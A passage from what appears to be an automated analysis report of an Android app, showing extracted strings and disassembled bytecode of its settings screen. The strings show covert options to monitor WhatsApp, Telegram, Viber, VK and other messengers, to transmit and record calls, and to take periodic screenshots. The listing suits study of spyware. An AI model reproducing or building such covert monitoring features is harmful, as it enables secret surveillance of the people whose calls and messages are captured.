                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.Button.setEnabled
                    • net.vkurhandler.SettingsRootActivity.n:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.n:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.p:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.p:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.i:Landroid/widget/EditText
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.EditText.setEnabled
                    • net.vkurhandler.SettingsRootActivity.i:Landroid/widget/EditText
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • java.lang.String.valueOf
                    • android.widget.EditText.setText
                    Strings
                    • screen_quality
                    • disallow_install_conflict_app
                    • messenger_rt_vkontakte
                    • messenger_rt_whatsapp
                    • messenger_rt_telegram
                    • messenger_rt_imo
                    • messenger_rt_instagram
                    • messenger_rt_gem4me
                    • messenger_rt_viber
                    • messenger_rt_odnoklassniki
                    • messenger_rt_facebook
                    • messenger_rt_skype
                    • messenger_rt_vkkate
                    • messenger_rt_whatsapp_transmit_call
                    • messenger_rt_telegram_transmit_call
                    • messenger_rt_imo_transmit_call
                    • messenger_rt_gem4me_transmit_call
                    • messenger_rt_viber_transmit_call
                    • messenger_rt_whatsapp_record_call
                    • messenger_rt_telegram_record_call
                    • messenger_rt_imo_record_call
                    • messenger_rt_gem4me_record_call
                    • take_screen
                    • screen_use_jpeg_compress
                    • take_screen_interval
                    Position Instruction Meta Information
                    0const/4 v5, 0x1
                    1const/4 v4, 0x0
                    2const/4 v3, 0x0
                    3new-instance v0, Landroid/app/ProgressDialog;
                    5invoke-direct {v0, p0}, Landroid/app/ProgressDialog;-><init>(Landroid/content/Context;)V
                    6iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->G:Landroid/app/ProgressDialog;
                    8iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->G:Landroid/app/ProgressDialog;
                    10invoke-virtual {v0, v3}, Landroid/app/ProgressDialog;->setProgressStyle(I)V
                    12iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->G:Landroid/app/ProgressDialog;
                    13const v1, 0x7f0600e4
                    15invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsRootActivity;->getString(I)Ljava/lang/String;
                    16move-result-object v1
                    18invoke-virtual {v0, v1}, Landroid/app/ProgressDialog;->setMessage(Ljava/lang/CharSequence;)V
                    20iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->G:Landroid/app/ProgressDialog;
                    22invoke-virtual {v0, v5}, Landroid/app/ProgressDialog;->setIndeterminate(Z)V
                    24iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->G:Landroid/app/ProgressDialog;
                    26invoke-virtual {v0, v3}, Landroid/app/ProgressDialog;->setCancelable(Z)V
                    28iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->G:Landroid/app/ProgressDialog;
                    30invoke-virtual {v0, v3}, Landroid/app/ProgressDialog;->setCanceledOnTouchOutside(Z)V
                    31const v0, 0x7f0a00f9
                    33invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    34move-result-object v0
                    35check-cast v0, Landroid/widget/Spinner;
                    36iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->d:Landroid/widget/Spinner;
                    38iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->d:Landroid/widget/Spinner;
                    40iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    42const-string v2, "screen_quality"
                    44invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    45move-result v1
                    47invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setSelection(I)V
                    48const v0, 0x7f0a00e6
                    50invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    51move-result-object v0
                    52check-cast v0, Landroid/widget/CheckBox;
                    53iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->u:Landroid/widget/CheckBox;
                    54const v0, 0x7f0a00e7
                    56invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    57move-result-object v0
                    58check-cast v0, Landroid/widget/CheckBox;
                    59iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->v:Landroid/widget/CheckBox;
                    60const v0, 0x7f0a00e3
                    62invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    63move-result-object v0
                    64check-cast v0, Landroid/widget/CheckBox;
                    65iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->x:Landroid/widget/CheckBox;
                    66const v0, 0x7f0a00e4
                    68invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    69move-result-object v0
                    70check-cast v0, Landroid/widget/CheckBox;
                    71iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->y:Landroid/widget/CheckBox;
                    72const v0, 0x7f0a00eb
                    74invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    75move-result-object v0
                    76check-cast v0, Landroid/widget/CheckBox;
                    77iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->C:Landroid/widget/CheckBox;
                    78const v0, 0x7f0a00ec
                    80invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    81move-result-object v0
                    82check-cast v0, Landroid/widget/CheckBox;
                    83iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->D:Landroid/widget/CheckBox;
                    84const v0, 0x7f0a00ee
                    86invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    87move-result-object v0
                    88check-cast v0, Landroid/widget/CheckBox;
                    89iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->E:Landroid/widget/CheckBox;
                    90const v0, 0x7f0a00ef
                    92invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    93move-result-object v0
                    94check-cast v0, Landroid/widget/CheckBox;
                    95iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->F:Landroid/widget/CheckBox;
                    96const v0, 0x7f0a00e9
                    98invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    99move-result-object v0
                    100check-cast v0, Landroid/widget/CheckBox;
                    101iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->w:Landroid/widget/CheckBox;
                    102const v0, 0x7f0a00e1
                    104invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    105move-result-object v0
                    106check-cast v0, Landroid/widget/CheckBox;
                    107iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->j:Landroid/widget/CheckBox;
                    108const v0, 0x7f0a00e5
                    110invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    111move-result-object v0
                    112check-cast v0, Landroid/widget/CheckBox;
                    113iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->k:Landroid/widget/CheckBox;
                    114const v0, 0x7f0a00e2
                    116invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    117move-result-object v0
                    118check-cast v0, Landroid/widget/CheckBox;
                    119iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->l:Landroid/widget/CheckBox;
                    120const v0, 0x7f0a00ea
                    122invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    123move-result-object v0
                    124check-cast v0, Landroid/widget/CheckBox;
                    125iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->B:Landroid/widget/CheckBox;
                    126const v0, 0x7f0a00f0
                    128invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    129move-result-object v0
                    130check-cast v0, Landroid/widget/CheckBox;
                    131iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->z:Landroid/widget/CheckBox;
                    132const v0, 0x7f0a00ed
                    134invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    135move-result-object v0
                    136check-cast v0, Landroid/widget/CheckBox;
                    137iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->A:Landroid/widget/CheckBox;
                    138const v0, 0x7f0a00e8
                    140invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    141move-result-object v0
                    142check-cast v0, Landroid/widget/CheckBox;
                    143iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->m:Landroid/widget/CheckBox;
                    144const v0, 0x7f0a00f1
                    146invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    147move-result-object v0
                    148check-cast v0, Landroid/widget/CheckBox;
                    149iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->o:Landroid/widget/CheckBox;
                    150const v0, 0x7f0a00f2
                    152invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    153move-result-object v0
                    154check-cast v0, Landroid/widget/CheckBox;
                    155iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->q:Landroid/widget/CheckBox;
                    156const v0, 0x7f0a00f4
                    158invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    159move-result-object v0
                    160check-cast v0, Landroid/widget/CheckBox;
                    161iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->r:Landroid/widget/CheckBox;
                    162const v0, 0x7f0a00f3
                    164invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    165move-result-object v0
                    166check-cast v0, Landroid/widget/CheckBox;
                    167iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->s:Landroid/widget/CheckBox;
                    168const v0, 0x7f0a00fa
                    170invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    171move-result-object v0
                    172check-cast v0, Landroid/widget/CheckBox;
                    173iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->p:Landroid/widget/CheckBox;
                    174const v0, 0x7f0a00e0
                    176invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    177move-result-object v0
                    178check-cast v0, Landroid/widget/Button;
                    179iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->f:Landroid/widget/Button;
                    180const v0, 0x7f0a00ce
                    182invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    183move-result-object v0
                    184check-cast v0, Landroid/widget/Button;
                    185iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->g:Landroid/widget/Button;
                    186const v0, 0x7f0a00fb
                    188invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    189move-result-object v0
                    190check-cast v0, Landroid/widget/CheckBox;
                    191iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->t:Landroid/widget/CheckBox;
                    192const v0, 0x7f0a00f7
                    194invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    195move-result-object v0
                    196check-cast v0, Landroid/widget/Button;
                    197iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->e:Landroid/widget/Button;
                    199iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->t:Landroid/widget/CheckBox;
                    200new-instance v1, Lnet/vkurhandler/fw;
                    202const-string v2, "disallow_install_conflict_app"
                    204invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    206invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    208iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->t:Landroid/widget/CheckBox;
                    210iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    212const-string v2, "disallow_install_conflict_app"
                    214invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    215move-result v1
                    217invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    219iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->j:Landroid/widget/CheckBox;
                    220new-instance v1, Lnet/vkurhandler/fw;
                    222const-string v2, "messenger_rt_vkontakte"
                    224invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    226invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    228iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->j:Landroid/widget/CheckBox;
                    230iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    232const-string v2, "messenger_rt_vkontakte"
                    234invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    235move-result v1
                    237invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    239iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->k:Landroid/widget/CheckBox;
                    240new-instance v1, Lnet/vkurhandler/fw;
                    242const-string v2, "messenger_rt_whatsapp"
                    244invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    246invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    248iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->k:Landroid/widget/CheckBox;
                    250iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    252const-string v2, "messenger_rt_whatsapp"
                    254invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    255move-result v1
                    257invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    259iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->l:Landroid/widget/CheckBox;
                    260new-instance v1, Lnet/vkurhandler/fw;
                    262const-string v2, "messenger_rt_telegram"
                    264invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    266invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    268iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->l:Landroid/widget/CheckBox;
                    270iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    272const-string v2, "messenger_rt_telegram"
                    274invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    275move-result v1
                    277invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    279iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->B:Landroid/widget/CheckBox;
                    280new-instance v1, Lnet/vkurhandler/fw;
                    282const-string v2, "messenger_rt_imo"
                    284invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    286invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    288iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->B:Landroid/widget/CheckBox;
                    290iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    292const-string v2, "messenger_rt_imo"
                    294invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    295move-result v1
                    297invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    299iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->z:Landroid/widget/CheckBox;
                    300new-instance v1, Lnet/vkurhandler/fw;
                    302const-string v2, "messenger_rt_instagram"
                    304invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    306invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    308iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->z:Landroid/widget/CheckBox;
                    310iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    312const-string v2, "messenger_rt_instagram"
                    314invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    315move-result v1
                    317invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    319iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->A:Landroid/widget/CheckBox;
                    320new-instance v1, Lnet/vkurhandler/fw;
                    322const-string v2, "messenger_rt_gem4me"
                    324invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    326invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    328iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->A:Landroid/widget/CheckBox;
                    330iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    332const-string v2, "messenger_rt_gem4me"
                    334invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    335move-result v1
                    337invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    339iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->m:Landroid/widget/CheckBox;
                    340new-instance v1, Lnet/vkurhandler/fw;
                    342const-string v2, "messenger_rt_viber"
                    344invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    346invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    348iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->m:Landroid/widget/CheckBox;
                    350iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    352const-string v2, "messenger_rt_viber"
                    354invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    355move-result v1
                    357invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    359iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->o:Landroid/widget/CheckBox;
                    360new-instance v1, Lnet/vkurhandler/fw;
                    362const-string v2, "messenger_rt_odnoklassniki"
                    364invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    366invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    368iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->o:Landroid/widget/CheckBox;
                    370iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    372const-string v2, "messenger_rt_odnoklassniki"
                    374invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    375move-result v1
                    377invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    379iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->q:Landroid/widget/CheckBox;
                    380new-instance v1, Lnet/vkurhandler/fw;
                    382const-string v2, "messenger_rt_facebook"
                    384invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    386invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    388iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->q:Landroid/widget/CheckBox;
                    390iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    392const-string v2, "messenger_rt_facebook"
                    394invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    395move-result v1
                    397invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    399iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->r:Landroid/widget/CheckBox;
                    400new-instance v1, Lnet/vkurhandler/fw;
                    402const-string v2, "messenger_rt_skype"
                    404invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    406invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    408iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->r:Landroid/widget/CheckBox;
                    410iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    412const-string v2, "messenger_rt_skype"
                    414invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    415move-result v1
                    417invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    419iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->s:Landroid/widget/CheckBox;
                    420new-instance v1, Lnet/vkurhandler/fw;
                    422const-string v2, "messenger_rt_vkkate"
                    424invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    426invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    428iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->s:Landroid/widget/CheckBox;
                    430iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    432const-string v2, "messenger_rt_vkkate"
                    434invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    435move-result v1
                    437invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    439iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->u:Landroid/widget/CheckBox;
                    440new-instance v1, Lnet/vkurhandler/fw;
                    442const-string v2, "messenger_rt_whatsapp_transmit_call"
                    444invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    446invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    448iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->u:Landroid/widget/CheckBox;
                    450iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    452const-string v2, "messenger_rt_whatsapp_transmit_call"
                    454invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    455move-result v1
                    457invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    459iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->x:Landroid/widget/CheckBox;
                    460new-instance v1, Lnet/vkurhandler/fw;
                    462const-string v2, "messenger_rt_telegram_transmit_call"
                    464invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    466invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    468iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->x:Landroid/widget/CheckBox;
                    470iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    472const-string v2, "messenger_rt_telegram_transmit_call"
                    474invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    475move-result v1
                    477invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    479iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->C:Landroid/widget/CheckBox;
                    480new-instance v1, Lnet/vkurhandler/fw;
                    482const-string v2, "messenger_rt_imo_transmit_call"
                    484invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    486invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    488iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->C:Landroid/widget/CheckBox;
                    490iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    492const-string v2, "messenger_rt_imo_transmit_call"
                    494invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    495move-result v1
                    497invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    499iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->E:Landroid/widget/CheckBox;
                    500new-instance v1, Lnet/vkurhandler/fw;
                    502const-string v2, "messenger_rt_gem4me_transmit_call"
                    504invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    506invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    508iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->E:Landroid/widget/CheckBox;
                    510iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    512const-string v2, "messenger_rt_gem4me_transmit_call"
                    514invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    515move-result v1
                    517invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    519iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->w:Landroid/widget/CheckBox;
                    520new-instance v1, Lnet/vkurhandler/fw;
                    522const-string v2, "messenger_rt_viber_transmit_call"
                    524invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    526invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    528iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->w:Landroid/widget/CheckBox;
                    530iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    532const-string v2, "messenger_rt_viber_transmit_call"
